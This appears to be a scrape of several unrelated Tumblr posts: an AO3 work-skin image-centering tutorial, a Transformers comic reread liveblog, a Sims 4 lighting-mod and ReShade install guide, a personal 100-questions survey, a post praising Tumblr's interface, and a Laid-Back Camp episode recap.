BANANA goes away. Inside the quote marks where BANANA used to be, you need to put the URL of your image. This URL must start with http or https (preferably https), or else it won’t work. I can’t give specific instructions on how to get this, because it depends on where the image is hosted! If it’s only on your computer, or attached to an email, it can’t be embedded. It has to have been put somewhere on the web, like Flickr, Photobucket, or Google Drive. It will work to embed from Tumblr, but I don’t trust Tumblr not to change everything up and bork all the old image URLs, thus breaking your embedded images on an arbitrary date in the future. (Any image host could theoretically do this, but -- well. We’re all familiar with Tumblr, right?)

ORANGE also goes away. Inside the quote marks where ORANGE used to be, you optionally can (I recommend you do!) put a brief (200 characters or fewer) description of the image. This is text which is invisible when viewing your fic in a normal browser -- it’s there for screen reader technologies, used by people who are blind or otherwise have trouble seeing a screen. Their screen reader software will literally read out to them, so that they can hear it with their human ears, the description you put here. Don’t start it with “image of” or “picture of”, because the screen reader tells the human that it’s an image already. Here is a pretty user-friendly guide on how to write alt text! If you’re more technically-inclined, the W3C has more involved docs. Remember, the screen reader is going to say out loud whatever you put here, so don’t make it super long, or else you’ll force people who are using screen readers to wait through the long description for your story to continue.

A finished version of the banana/orange block might look like this:

Step four: do it again if needed.

If you have more images to center in the same work, just repeat step 3 for each! Step 2 has to be done once per work. Step 1 might be done once ever (and then you just keep pulling that same skin into many works), or you might do it multiple times (if you want other changes in the skin that are special to only this one work). I do a different skin every time I have a fic that needs a skin, but that’s because I do extra fancy things that are different for each fic.

You never have to do either step 1 or step 2 more than once per work, even if it’s multi-chapter. In future chapters of the same fic, just do step 3 again.

Step five: preview and/or temporary draft is your friend

I am an IT professional with a (technically expired but work with me here) Microsoft certification in HTML5/CSS and seven years of writing this stuff for pay under my belt. Even I don’t post without previewing. Preview and saving as a draft without publishing are both your friends.

Some fun(?) notes

What you are doing here is using cascading style sheets. The AO3 skin is a very simple stylesheet, which is a series of rules that your readers’ browsers will use to apply to text in your story. There are standards that all your normal sort of browsers (Firefox, Chrome, Safari, Edge, Opera...) are supposed to follow when they see these rules, so that no matter which browser someone uses, a webpage will look as similar as possible.

A skin created from the above steps defines a class named “centered” and tells the browser how “centered” should look. Then, in your fic, if you apply the class named “centered” to something in the big editor -- like, say, the aragraph tag that wraps around your image -- then the style from your skin will be applied.

The magic of cascading style sheets is that you can define your class exactly once and then use it many times. If you decide you want to change all the places you used it -- maybe you want every centered image in your 87-chapters-long heavily-illustrated fic to have a green border? -- you have to change exactly one place: your skin. The change will bubble down to every single place you used it.

Skins do not allow all the features of true CSS (no media queries; I am sad), and you can’t put comments in your skin (the editor strips them out). Browser-specific overrides also do not work (if you don’t know what this means, that’s okay, you have to go to extra work to try to use them in the first place). But they’re still pretty cool.

A lot of people will just put <center> tags around their thing, and use width=“100%” or some other number, but that is technically not standard HTML, hasn’t been for a very long time, and sooner or later Chrome is going to get clever and stop respecting it. (Google’s developers like to make Chrome very clever and change how it does things just because they feel like it. It makes my day job rather more difficult. Ask me about SameSite cookies!! Actually, don’t. Never ask me about that thing.)

For portrait-oriented illustrations -- taller than they are wide -- I like to float the image to the right of the text and have it take up no more than 50% of the width of the screen (as seen near the end of this chapter). But that is a more complicated thing than this one, and I am keeping it simple today. Maybe I’ll show how to do the nice floaty at some point.

For any-oriented illustrations, you could have a small resized version which links out to a larger version as a click-to-zoom thing. That is also a little more complicated, so it isn’t in this post.

Questions and clarifications welcome.

That is how to center and nice-size an image in an AO3 fic using a work skin! I hope you are having a good day.

#ineffablefool original post #man idk how i would even tag this thing #i'll worry about that later #not good omens #look you don't understand i love html and css this is fun for me #i don't get to do it very often at my job since they promoted me so i hafta get my kicks where i can

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tfw-no-tennis · 3 years

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mtmte liveblog issue 9

back at it again, and its time for the shadowplay arc, HELL yeah

oh I'm so excited i love this arc lets DO this

oooh its nightbeat and quark!! way before they become relevant, which is so cool

‘one of those recepticon fanatics’ lmao imagine if they were...the recepticons. just doesn't have the same ring to it

god i fucking love all the politics of mtmte. i love how they’re talking about the senate here before we really get to See how bad they were (we heard a bit about it from whirl a few issues ago, and now here)

love how nightbeat is pretty much agreeing with the decepticon ideology here, even if its clear that he isn't Actually a decepticon - it just drives home the fact that, in this story, The Decepticons Were Right About A Lot Of That Stuff (or at least, they had a reason other than ‘destruction’ for rebelling).

AND THEN THERES RUNG!!!!!!! WITH HIS MODEL OF THE LOST LIGHT....god i fuckgin LOVE the continuity in this story bc the first time reading this ur like oh ok rung is old yea makes sense...but then later all the time travel stuff happens and then its like OHHHHH

damn poor rung nightbeat can rlly tell he's lonely just by looking at him vbhjdkdfhbjsjkdf geez. also nightbeat that's ur mystery stick bf from the future js!!

quarks extreme POV on all of the stuff is so interesting, and makes so much sense bc of Course he would think that as a non-combatant scientist who, due to his functional value in current society, wouldn't really benefit much from a revolution - in fact, he’d probably lose a lot. and that’s the sort of thing where you’re like, ok well think about everyone else dude, have some perspective - but at the same time, quark did suffer a pretty terrible fate, so his fears weren't entirely unfounded...augh, its so fascinating...im sorry I'm not gonna shut up about space robot politics this Entire time

HOW did nobody notice that dead body before now

ratchet spray-painting the hands he stole from pharma to match his own paintjob is like...kinda gruesome if you think about it hvbhsjkdfbkjdf

i love rewind sooo much oh my god

he rlly stashed rung’s comatose body in a wheelchair behind the bar hbkjdhfbshjkdf rewind

rewind and chromedome’s tag-team explanation....ough hhhhh THEM

wait a sec, rewind, you have medical records in your database? that is, at least according to regular medical laws, very illegal lmao. my favorite long-running theme in mtmte: the fact that hipaa and osha laws on cybertron are either basically nonexistent, or just universally disregarded

what the actual fuck is up w/cybertronian time units. that shit is wack as hell

ooh i love how chromedome looks different in the flashback - no shoulder tires! - that's a cool detail

how come prowl just said ‘minute,’ rewind was busting it up w/all the wack ass fantasy time units just a second ago. geez

also goddd i love the scenery of pre-war cybertron, its SUCH a cool setting like, visually and aesthetically and politically

like, i adore details like the sign in the bg that says ‘everyone’s shape serves a purpose.’ really adds to the ‘society on the precipice of civil war currently controlled by an increasingly-desperate faction who are doling out propaganda like crazy in an attempt to maintain their image and control over the populace’ vibe

good ole murder mystery setup. love it!

pre-war prowl is such an interesting character. actually prowl in general is such an interesting character...I kinda wrote him off during my first read of mtmte (and even a little during my second readthru) as just this dude who’s an asshole (espec bc my prev tf experience involved watching tfa as a kid, and this prowl is very different from tfa prowl lol)...but prowl is SUCH a multi-faceted and interesting character, even in the relatively little we see of him in mtmte

plus it was interesting to learn later that prowl was one of the characters that jro wanted for mtmte and didn't get, and MAN i wish he got prowl bc I would've loved to see what jro would've done w/prowl on the lost light, that would've been amazing. like, just imagine the arc he would have...I have no idea what that arc would BE, but I know it would be awesome. plus I’d be really interested to see how prowl would factor in, relationships-wise, amongst the crew of the lost light. so much potential!

anyways. I'm in a very talky mood tonight it seems. its currently 4 am so that kinda explains it. ok, moving on!

chromedome and prowl bantering....in their own morbid forensic-cop way...

skids bvhjdbsfjasf. speaking what we’re all thinking: is prowl gonna keep showing up in mtmte despite not technically being part of the cast??

swerves drawing of prowl lmaoooo

AND THEN REWIND IN SOME OF MY FAVORITE MTMTE PANELS....fuckgin cracks me up every time god. rewind was rlly about to flip their entire ass table just to demonstrate that prowl is a serial table-flipper...and then he cant even make the table budge and he just stares at his hands like ‘how could you betray me like this’ hvbajkhhsfdhksdf PEAK hilarity

drift hvbshfdjbasdfj his forcibly cheery expression even tho he’s being harassed by rodimus, who is a big whiny toddler w/drift lmao

rodimus is the type of guy who, upon drift not replying to one of his texts, would post a whole twitter thread being all like ‘these days u cant trust any1 to hav ur back...u think u kno someone and then they just ghost you...(1/14)’

again, rewind, HOW and WHY do you just Have medical reports, oh my god, somebody please call a hipaa agent I’m scared,

ratchet interrupting the story to give a quick medical PSA....that's Such an on-brand thing for Me to do that I feel like jro is assigning me ratchet kin as I read this

also, hey, its sonic and boom, those two decepticons from delphi! nice little continuity there

AND HERES ORION PAX SUPER COP

can’t believe idw made my dad optimus prime into a cop. smh. shouldn't be that shocked tho, I feel like half the idw characters are cops

orion rlly hit them w/the omae wa mo shinderu arrest strat

orion: I cant believe you're beating this guy up. anyways, now I'm gonna beat YOU up,

when ratchet puts his hand over drifts mouth and then gets spray paint on drifts face bhjdfsvsdjhfgbjdskf

pre-war ratchet and drift ;_; ratchet’s little inspirational speech...the fact that he tells drift that he’s special...the fact that drift remembered all of this even after 4 million+ yrs...it gets me bro it GETS me

ALSO the layers in the fact that drift then goes on to become a well-known murderous decepticon...so this little scene of him and ratchet in the past gives a lot of context to ratchet’s general attitude towards drift - ratchet clearly feels at least somewhat responsible for all the blood on drift’s hands, since he saved drift’s life way back in the day

the whole relinquishment clinic thing is such cool worldbuilding, bc of course that's the kind of thing that would develop in a society of robot aliens who are only allowed to work within the rigid confines of their alt mode

I love the whole matrix thing bc its kinda like being the pope or st but also you have a ton of political sway, so its a super important position, so of Course the corrupt senate would want full control over that power, and would assassinate the current prime to try to get their own guy in

god vhbhjsdkbgshjdf rodimus is such a dick lmao poor drift

HHHHH I love that the cybertronian version of an autopsy is taking the dudes body apart into the smallest components and laying them all out. that's so fucking cool

hmmmm chromedome maybe you should Not be interested in mnemology, how about that,

oh god. time to start being sad about op and senator shockwave. oh god

senator shockwave more like senator sexy

also the first time I read this I thought I had just missed his name and like halfway thru the story I went back and scoured the pages looking for it hbvhsjdfbshgfdsbj then I was like oh ok so we’re maybe supposed to just know who this guy is from another comic? but NOPE it was very deliberate and I only realized very close to the end that they were setting up some sort of reveal

its funny bc normally I'm not a huge fan of stories where politics play a huge role but I fuckgin love it here, the politics and worldbuilding is all so interesting and also balanced out with a healthy dose of cool sci-fi hijinks, so

lmao there's chromedome being obsessed w/people making the ‘pfft’ sound

also wow yet more hindsight, maybe you Shouldn’t be so interested in the Institute, chromedome,

OHHHH shit I forgot abt the red alert stuff happening at the same time as this :( :( :(

AUGHHH what a fucked up situation. god

oooof i gotta continue now!! what a solid issue, I love the shadowplay arc

#lj rereads mtmte

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sheepiling · 6 years

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I DOWNLOADED MY FIRST MOD AHHHHHHHHHH!!!!

So, I was getting really tired of how un-vibrant Sims 4 is. I didn’t really notice it/care at first, but once Sage was born I found myself constantly fighting the lighting in the game and setting up temporary lamps everywhere when I took screenshots just because of how un-flattering the Sims 4 lighting is for sims of color. (I mean I’ve had mixed race couples since gen 1 but the focus was always on the founder/heir so if their partner wasn’t as well lit up as they were I didn’t pay much attention to it, but Sage is the first heir to actually have darker skin genetics passed down to him ‘cuz apparently in sims world recessive and dominant genetic traits are reversed... or at least in this family they are rip)

But anyways, I don’t want to spend time editing my screenshots so I just got a lighting mod for the game. OwO;;

I just want to make a post now and tag it with wcif because I really don’t download much and if I ever do get cc in addition to this I’ll just post and wcif tag that too so anyone that’s curious can easily see what I’ve got quickly~

I also want to add that I’m going to go very in-depth about the installing process because I am not tech-savvy at all and it took me a whole evening to figure all of this out, so if anyone else is in the same boat as me I hope this helps! XD

Also before I start explaining things I just want to add that before you start changing things, ALWAYS BACK UP YOUR GAME!! Make a copy of The Sims 4 folder that’s in your documents, AND the one that’s in your Origin Games folder that’s on your C drive (or wherever you installed Sims 4).

First I downloaded NoBlu and NoGlo

The links to the page their downloads are located along with information from the creator are right there in that title~

Those two mods work together, so I suggest getting them both! The NoBlu removes the blue tint that shows up at night time and indoors too I think, and if I understand things correctly the NoGlo removes that blue tint from your sims themselves so they don’t look blue-ish in contrast to the rest of the world that’s now been stripped of that blue tint.

Like, the point of the blue tint that’s in the game is to make it so you can see things better in the dark, but from what I can tell it also makes day time seem darker too at certain times of the day. So getting rid of this will make night time darker if no lights are around, but I think it makes day time brighter and the lights at night time is brighter too and your sims just react more naturally to lighting~

When downloading NoBlu, just pick one of those three files that are there. I picked NoBluLightingReplacement.package

For NoGlo, there’s two files there, and I downloaded both of them. They’re the NoGloRemover and the EyeSpecularRemover

NoGlo and EyeSpecularRemover are applied to each sim in cas just like cc, so I’m not sure if I’ll bother using them. But I haven’t had this NoBlu lighting mod for very long so if I end up noticing my sims glowing in the dark with a blueish light then I’ll probably bother to put that on everyone. Maybe.

These two mods are really easy to download! It’s just like downloading CC, just get the file and put it in Documents -> Electronic Arts -> The Sims 4 -> Mods

Then I got ReShade

This mod took me quite a while to figure out... (I’m just sort of challenged when it comes to things like this which is why I don’t use much mods/cc in the first place) 😓

So this is a program that you can install into a lot of different games, it’s not made just for sims 4, but it works really well on sims 4! The website to download this is https://reshade.me/

Additionally, THIS VIDEO is the most helpful tutorial for installing it that I could find (imo). I also want to add to always read the README text files that come with mods when you download them... I’m sure you probably already do that but I’m an impatient derp that couldn’t figure out some things until I read the readme... >.>;;

Also, I had an issue when installing ReShade, and I’m just gonna explain everything I went through in case anyone else is having a hard time too, ‘cuz it took me quite a while to find the info. I needed. I also want to add that I use windows 8.1 (unfortunately that’s the only operating system that’s compatible with my laptop, so no windows 10 or 7 for me, I already tried, rip) so the issue I had could of been caused by 8.1′s wonkyness. But I don’t know for sure.

After it asked me if I want to download a collection of standard effects, and I clicked yes, it said it failed. The program was properly installed into Sims 4, but I had no effects or textures (which is the whole point of getting this...)

But! This can be fixed by downloading the effects manually and putting them into your bin folder yourself. THIS FORUM on ReShade’s website has this answer and a link to the download for the effects and textures. The very first answer under the OP’s question is the one with the download~ I’m very thankful to that helpful person. Also, I’m just linking the forum instead of the responder’s link itself b/c once you click on their link it downloads the file. It’s not a link to a file share or anything, it’s just the direct download. The ReShade website probably has these up for download on their website somewhere too... But I’m trash at navigating websites that I’m not used to so I have no idea where... But I would assume it’s there somewhere...

After you have that file, slap it into your sims 4′s bin folder (tutorial I linked before shows where that is). Now, this alone is not all that you need to do. Now that it’s in the file, you need to go into the game and open the ReShade interface. Then you go over to settings and you need to copy paste the path for the program to find the effects and textures. There’s two separate boxes, one for effects and one for textures.

To do this, go into the shaders folder that’s in your reshade shaders’ folder in your sims 4′s bin folder. Then in the bar at the top of your file’s window that shows all the files you’ve gone into, click on it and copy it. Then tab back to your sims 4 game and paste that info into ReShade’s effects box. Then go into your textures file and do the same things for the textures box in ReShade.

When you paste them into the ReShade interface they should look something like this:

C:\Program Files (x86)\Origin Games\The Sims 4\Game\Bin\reshade-shaders\Shaders

C:\Program Files (x86)\Origin Games\The Sims 4\Game\Bin\reshade-shaders\Textures

Of course, if you didn’t install this on your C drive it might be a bit different, but you need to find that from wherever you installed Sims 4.

Once you’ve done all that the issue should be fixed and it’ll now load up all 60 effects and textures that you’ve downloaded every time you start up Sims 4 or tab back into your game after alt tabbing out!!!!! .................

So, hooray for it working properly now, BUT GOODNESS DOES THIS ANNOY ME. So like. If you’re going to download a preset from someone else (youtube tutorial I linked already shows how to do that) then I suggest keeping all the files you’ve downloaded. Especially if you’re switching between multiple presets for different occasions. There’s lots of ReShade presets all over tumblr, btw. So have fun looking them up if that’s what you want to do!

But I’m not doing that. I don’t need all of this. It’s giving me a lag for no reason. SO I DELETED A WHOLE BUNCH OF EFFECTS ‘CUZ FUQ THIS LOADING TIME.

Be careful not to delete anything important, though. In the shaders folder is the only folder I deleted anything inside of. Anything that was installed in the reshade-shaders folder I left alone. But inside the shaders or textures folder that’s inside of that reshade-shaders folder should be fine to delete things. BUT DON’T DELETE FILES THAT IT NEEDS TO RUN~

Anything that is a .fhx file you need to keep. Anything that is a .fx file is simply the effect itself and is safe to delete. I didn’t delete anything in my textures folder because when I downloaded the whole thing from the forum the textures folder didn’t have much in it. This might be different if you were able to install correctly in the first place.

Anyways! The files I ended up keeping were all the .fhx files and the following effects: Colorfulness.fx, Vibrance.fx, and DPX.fx

Colorfulness and Vibrance increase the saturation and vibrancy of your game and DPX is one that overall birghtens everything (I think). There’s lots of other effects that do the same things as these but those three are my favorites. Well, I don’t use DPX, it makes it a bit too bright for my eyes, but I decided to keep that one because whenever I’m able to get Seasons, if rainy/snowy days make the game seem way too dark I might want to enable DPX just for those days.

But for normal sunny days, just checking Colorfulness and Vibrance is enough for me~ I didn’t even mess with the sliders on how much you want it to effect the game because I don’t want to deal with those kind of advanced settings. I just pushed the check mark box on those two and done!

Now that I only have 3 effects and then the few textures that I never use but aren’t hurting anything by being there, it doesn’t even have a loading time to get ReShade to run properly when starting up my Sims 4 or tabbing back into it. ReShade is just ready to go right away!

So if you’re wanting to brighten up your game, but have a slower computer and most lighting mods and/or ReShade being the way it normally is lags your game too much, you could consider doing what I did! :D

Also, with ReShade, you need to change the way you take screenshots now. Doing it with the C button just takes a picture of your naked game, not the ReShade effects.

So, ReShade’s default hotkey for taking screenshots is Prt Scrn, so you can use that button now or you can change which button you want to take screenshots in the settings tab of ReShade’s interface. But the point is just pushing C doesn’t capture the ReShade effects so you’ll need a different button!

Also! In ReShade’s settings tab, you need to change the screenshot format if you want to upload your ReShade screenies to tumblr! Its default is set to Bitmap, which tumblr doesn’t support, so change it so it saves as a PNG file instead!!!

You can also change the path for where it’s going to drop your screenshots off at. The default is set to Sims 4′s bin folder, so if you want it to drop off screenshots in a different folder that’s dedicated to just screenshots and doesn’t have your game’s other important things in it, you’ll need to change the path for that (it’s the same as when you changed the path for it to find the effects and textures, just copy paste where you want it to go).

Keep in mind that if you move the folder you told ReShade to dump its screenshots at then you’ll need to update the path in ReShade’s interface or it won’t be able to find the folder and you won’t get your screenies~

So yea! That’s all the info. I have!! I hope this helps someone that wants to use ReShade but has been confused about it like I was!! 😂

Also sorry if my explaining things is long and confusing. This is just how thoughts flow in my brain so.. um... yea. >.>;

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sonderei · 6 years

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I got bored and answered one of those 100-questions things so if you ever wanted to know a stupid amount of useless information about me read on, otherwise enjoy whatever content is in the next post!

Spotify, SoundCloud, or Pandora? Spotify

is your room messy or clean? my room is a mess, the rest of the apartment is pretty clean

what color are your eyes? brown

do you like your name? why? its grown on me. I used to get teased a lot in school “hey Ariel, where’s your best friend Flounder??” but now I work on Disney property and it’s on my name tag so I get to make a lot of kids (and adults) happy

what is your relationship status? been dating a small mess of a person for 4 years, whom I love dearly

describe your personality in 3 words or less basically a cat

what color hair do you have? brown, or like a really dirty blonde if I spend enough time in the sun

what kind of car do you drive? color? a black 2013 hyundai accent hatchback (named Jazz)

where do you shop? where I shop: target, forever21, H&M, BoxLunch, Garage where I’d LIKE to shop: ModCloth, ASOS

how would you describe your style? I once bought an oversized Polariod windbreaker and I wear it everywhere I can??? I also love passive aggressive crop tops (”no thanks”) I wore it to a mandatory meeting at work at 9am and any time my managers asked me a question I just pointed to my shirt. So idk that should tell you something

favorite social media account I think I enjoy Instagram and Tumblr equally?

what size bed do you have? queen

any siblings? one full brother (5 years younger), one half brother on my dad’s side (13 years younger), and one half sister on my mom’s side (18 years younger).

if you can live anywhere in the world where would it be? why? idk because I haven’t traveled anywhere I’d actually like to live. I love the idea of living northwest US (Seattle, Portland) or in NZ or like Scotland or somewhere with beautiful scenery but like...never been so can’t say for sure?

favorite snapchat filter? flower crown

favorite makeup brand(s) NYX is pretty much all I use but I also do like bare minimum with my makeup

how many times a week do you shower? typically every other day unless I’m super gross

favorite tv show? too hard. Steven Universe, Game of Thrones, A:TLA, and Adventure Time?

shoe size? 7-8 depending on who makes them

how tall are you? smol. Like 5′3″ or so?

sandals or sneakers? sneakers, unless going somewhere involving water and/or sand

do you go to the gym? nah. I’m up and down stairs at least 20 times a day, usually while carrying stuff. that’s my exercise.

describe your dream date sitting in front of the Ocean Voyager exhibit at the Georgia Aquarium all day. like literally that’s it. and my date lets me without asking to move on, and ideally enjoys it as much as I do.

how much money do you have in your wallet at the moment? uhhh like $25 because that’s how much you have to have to open a new bank account which I’ve been meaning to do for like two weeks now

what color socks are you wearing? not wearing any, but I was wearing shark socks all day

how many pillows do you sleep with? just one, super soft and squishy

do you have a job? what do you do? I'm a server at a restaurant in Disney Springs at Walt Disney World. Its challenging and often frustrating and stressful but I get to meet some really cool people so it evens out. (Pat Sajak from Wheel of Fortune was in last week, I didn’t ask him if I could buy a vowel because I have some dignity)

how many friends do you have? like true friends, would drop everything for me if I asked them / needed them to? I’d say 3. But my social group is like...maybe 10 people? That I actively try to hang out with semi regularly.

whats the worst thing you have ever done? I honestly don’t even know. I forgot a woman’s ketchup last week at work and apparently I ruined her entire Disney vacation so

whats your favorite candle scent? usually anything with jasmine, so long as it isn’t overpowering

3 favorite boy names Nathaniel, Sebastian, Milo

3 favorite girl names Riley, Maisie, Phoebe

favorite actor? robert downey jr probs

favorite actress? tessa thompson?

who is your celebrity crush? ugh. tom holland, tessa thompson, rdj?

favorite movie? Spirited Away or Howl’s Moving Castle

do you read a lot? whats your favorite book? I used to, before I worked at a bookstore. For some reason that killed my love for reading. But favorite books were the Bartimaeus Trilogy and Abarat.

money or brains? brains

do you have a nickname? what is it? Skip (long story short, its a Cabin Pressure reference because I’ve always wanted to be a pilot)

how many times have you been to the hospital? for myself? 5? maybe 6?

top 10 favorite songs in no particular order Evolve by Phoria Put ‘Em Up by Priority Cleopatra by The Lumineers Feel It Still by Portugal. The Man Miracle by CHVRCHES Dissolve by Absofacto Taro by alt-J Lavender by Two Door Cinema Club Dinosaurs by The Maccabees Ambling Alp by Yeasayer

do you take any medications daily? nope

what is your skin type? (oily, dry, etc) ehh a bit on the oily side

what is your biggest fear? losing the ones I love

how many kids do you want? NONE ZERO NADA ZIP ZILCH FUCK NO

whats your go to hair style? pull it back, messy bun if possible

what type of house do you live in? (big, small, etc) a p small apartment (but not tiny, I think it’s like 800-900 sq ft)

who is your role model? Steve Irwin

what was the last compliment you received? a guest at one of my tables told me I looked like one of the recent Bond girls

what was the last text you sent? bailing on a few friends who were going to Blizzard Beach because I was exhausted from having my dad in town for the last two days so I wanted to sleep

how old were you when you found out santa wasn’t real? like 2 or 3. not very old

what is your dream car? realistic? a nice Subaru or Audi. Maybe a Tesla unrealistic? bugatti veyron

opinion on smoking? cigarettes? ew gross not around me also poor life choices weed? don’t care, just not around me please and thanks my other half is allergic

do you go to college? I did, graduated two years ago, still haven’t done anything with my life / degree

what is your dream job? anything working directly with animals, especially marine mammals, big cats, or non-venomous reptiles

would you rather live in rural areas or the suburbs? big city. right in the middle of it.

do you take shampoo and conditioner bottles from hotels? not usually, I have specific stuff I use for my hair that’s a lot nicer than the stuff at hotels

do you have freckles? not like a ton but yeah

do you smile for pictures? if I feel like it? also depends on who’s taking the picture

how many pictures do you have on your phone? I’d say somewhere in the realm of like 650-800?

have you ever peed in the woods? yep, used to go camping a lot as a kid

do you still watch cartoons? hell yeah, I usually prefer them to anything else. Steven Universe, Adventure Time, Voltron, A:TLA, Foster’s Home for Imaginary Friends...that shit is my jam

do you prefer chicken nuggets from Wendy’s or McDonalds? mmmm Wendys but I usually don’t get c nugs from anywhere

Favorite dipping sauce? chick fil a sauce or ranch

what do you wear to bed? just underwear

have you ever won a spelling bee? no but I came close in middle school

what are your hobbies? not many tbh. I have a few reptiles that I take care of. I collect / trade Disney pins. I love swimming but don’t do it all that often. Uhhh...seeing how many times I can ride Kilamonjaro Safari in a row before the cast members begin to judge me?

can you draw? not really, no

do you play an instrument? nope, I can’t even read music and I can barely hum

what was the last concert you saw? uhhhh...I think Death Cab for Cutie and CHVRCHES?

tea or coffee? tea

Starbucks or Dunkin Donuts? Starbucks for drinks, Dunkin for food (donutssssss)

do you want to get married? yeah, eventually. I told the SO that ideally before I’m 30 and that we’re not having a wedding but we’re gonna elope instead because fuck weddings I don’t have the money for that or the patience to plan it

what is your crush’s first and last initial? not really a crush but more of a “current-and-potentially-forever life partner” but DU

are you going to change your last name when you get married? no idea. D wants to change their last name but idk if they’d take mine or they’d just change it to their middle name and then I’d take that? honestly it doesn’t really matter to me each way so long as I don’t get their current last name (because of bad associations)

what color looks best on you? no idea honestly. I prefer dark, muted blues?

do you miss anyone right now? my parents and siblings, and two of my best friends

do you sleep with your door open or closed? open, otherwise the cats would never let us sleep

do you believe in ghosts? nah, not really. I grew up in a town that had a bunch of history and by extension ghost stories, so it was more a part of “tourist culture” than something that seemed legitimate to me

what is your biggest pet peeve? I never know until someone starts doing it around me. but uhhhh I hate loud chewers, people that refuse to even try to see your side of an argument, and when you’re sitting somewhere in public like on a bench or something and there’s plenty of other empty seating options nearby and yet someone comes up and sits RIGHT NEXT TO YOU nope you know what that’s it I fucking hate that and it happens to me all the time at Disney

last person you called` I think my mom?

favorite ice cream flavor? cookies and cream, unless I’m at one of those places where you can basically make your own flavor in which case I will ALWAYS do a rose-infused ice cream with pistachios

regular oreos or golden oreos? please don’t make me choose

chocolate or rainbow sprinkles? rainbow!

what shirt are you wearing? not wearing one ;)

what is your phone background? just a basic stock photo of some ferns. kinda boring but I like simple backgrounds

are you outgoing or shy? its pretty even but if I had to say one over the other I’m probably slightly more outgoing than I am shy.

do you like it when people play with your hair? only people I know and allow. don’t just come up and start playing with my hair unless you KNOW that I’d be okay with it

do you like your neighbors? haven’t met them! we moved in like a month ago but we still haven’t seen anyone that lives on our floor

do you wash your face? at night? in the morning? if I remember, but honestly I’m really bad about doing it unless I’m in the shower in which case it’s every time I take a shower

have you ever been high? nope

have you ever been drunk? sadly no. I have a ridiculously high natural alcohol tolerance, so I get sick to my stomach before I can even manage tipsy.

last thing you ate? pizzaaaaaaa

favorite lyrics right now idek and that’s a lot of effort so sorry here’s me “free pass” I’m using it on this question next

summer or winter? ugh winter always I can’t stand the heat there’s only so many layers you can take off

day or night? night

dark, milk, or white chocolate? milk or white. milk for straight eating, white for flavoring other things

favorite month? october

what is your zodiac sign leo!

who was the last person you cried in front of? my significant other

#I was bored #fite me #in case anyone ever wanted to know what I do for a living #or what my favorite songs are #or what color my eyes are #now you know

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my-special-place-in-hell · 3 years

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ok but like i really need a moment to appreciate how nice tumblr has kept the browser platform. lately social media sites seem to be forcing ppl into mobile but here there are so many cute perks and quirks that make the whole experience more pleasant.

like the simple design, the dashboard isnt cluttered with bullshit that wants to grab ur attention, which makes it very peaceful;

the alt reblog and the fact that for a while now when u press alt a window pops up telling u the shortcut is gonna move to E altho when?? i really tried to E+ reblog for a while like a fool;

the tag system, following/filtering tags? chefs kiss

also the text edit buttons that pop up when u highlight text while writing a text post? google and microsoft should be taking fuckin notes and dont get me started on the scratch tool i cant believe nobody else has implemented it into text posts

the lil “Have something to say?” , “Reply your heart out”, “Your words here” in the reply box are super cute and very encouraging like hell yea i always have something to say!

little things like that (and many bigger things like ads and chronological posts, but the little things!) make it feel like @staff, with their weird posts and bizarre sense of humour, at least care about the personal experience of theur users? idk i feel like at least they get what the ppl on here need in a platform and are trying to provide it

this whole website is super offbeat compared to other social media but i feel extremely comfortable here.

0 notes

italicwatches · 6 years

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Laid-Back Camp - Episode 12

Alright, the last hurrah. One last camping trip with these girls. Let’s see how it goes. It’s Laid-Back Camp, episode 12! Here we GO!

-We begin…In a possible future. Rin’s camping ways have continued, and she’s taken more after her grandfather, with a cool motorcycle and sweet boots. She arrives to a campsite to find the others already waiting for her. Chiaki’s become the new Toba-sensei, treating all camping trips as an excuse to get her booze on…Well, I said the others, but Nadeshiko is a ways out still. In this fantasy, Nadeshiko didn’t just keep camping…She now owns a camping gear company, bringing American styled equipment to Japan. Also, Aoi still hasn’t lost her fang…

-And Nadeshiko arrives…On…

-Good.

-Fucking.

-God.

-She’s in the flying tent from the opening.

-So obviously this is our title-card shot. As much as I love all the other shots of the girls all grown up…I mean, come on.

-And this is all Nadeshiko’s idea of what it’ll be like when they’re all grown up. Which explains a lot. And Rin’s gotten back with stuff! Yayyyyy.

-Opening! So here’s the magic question for you: In Nadeshiko’s possible-future, did she imagine herself and Rin being married?

-Episode 12: Mount Fuji and the Laid-Back Camp Girls

-So doggo has to go. He’s picked up by Ena’s family to go back home to warm bed, while the others scrub their dishes and ask the question of who’s gonna take advantage of the actual baths first. Well, Toba-sensei is out.

-In the end, Aoi, Ena and Chiaki end up in the bath, in an actual proper hot bath no less. Which leaves Rin and Nadeshiko to stay warm around the fire, and they end up asking Toba-sensei if she doesn’t mind being out here all alone instead of with her lover…

-…That was her sister she was with, you dorks. Anyways, all of this gender and romance confusion has Nadeshiko so off-tilt that she ends up outright asking Chiaki if she’s a girl or not when the others get back. Do you want to die?

-So round two of the baths, chatting with Toba-sensei. Who has a camping history not entirely dissimilar to Rin’s, though hers is more group-oriented. Her dad was a huge outdoorsy type when she was a kid, so the whole family would practically be out every weekend in the summers. Her sister picked up the bug full-force, and she tags along.

-Also speaking of camping, Rin still doesn’t know what that thing she saw in the darkness was. It was your teacher. Aaanyways, by the time they get back from the bath, everyone’s done their hair up in a Shimarin Bun. Nadeshiko is surrounded by Shimarins and it’s wonderful! Rin is quietly a bit mad at that name.

-So Nadeshiko has enough hair that she gets the true Shimarin treatment: Having Ena do something ridiculous to her head. Which she doesn’t see until they take a selfie together. Alas, Nadeshiko. But now they’ve kind of used up their tasks, but it’s too early to sleep…

-So Chiaki has a treat. You know outdoor film festivals, and vintage American drive-ins, and all that? (GOD I wish I could justify using that shot of Anime To the Future) Well Chiaki just signed up for a data plan and streaming services for her tablet! It’s not quite a grand projector, but they can just dive deep until they forget what time is!

-Eventually they’re all tapped out…Until everyone else is asleep, and it’s just Nadeshiko and Rin with their heads poking out of Rin’s tent way off on their own, looking up at the stars. They end up talking about all the shows and stuff they watched, and possible journeys, and New Year’s plans, and just…just talking. I’m not sure if Rin will do these big group trips very often, but I think it’s clear she’ll be doing a lot of these little trips with Nadeshiko.

-And they doze right off, as quiet comes over the campsites…And all is peaceful…

-Until the first alarm goes off. It’s 5 AM Christmas day, and Rin wakes up next to Nadeshiko, just the two of them. I’m not saying they’re a few months at most away from one of them suddenly realizing “FUCK we’re a couple when did that happen crap crap crap what’s the anniversary is it the day we met WHAT DO I GET HER”, but it was aliens.

-Also Nadeshiko you promised to make breakfast so get out of that mummy bag and make with the grub.

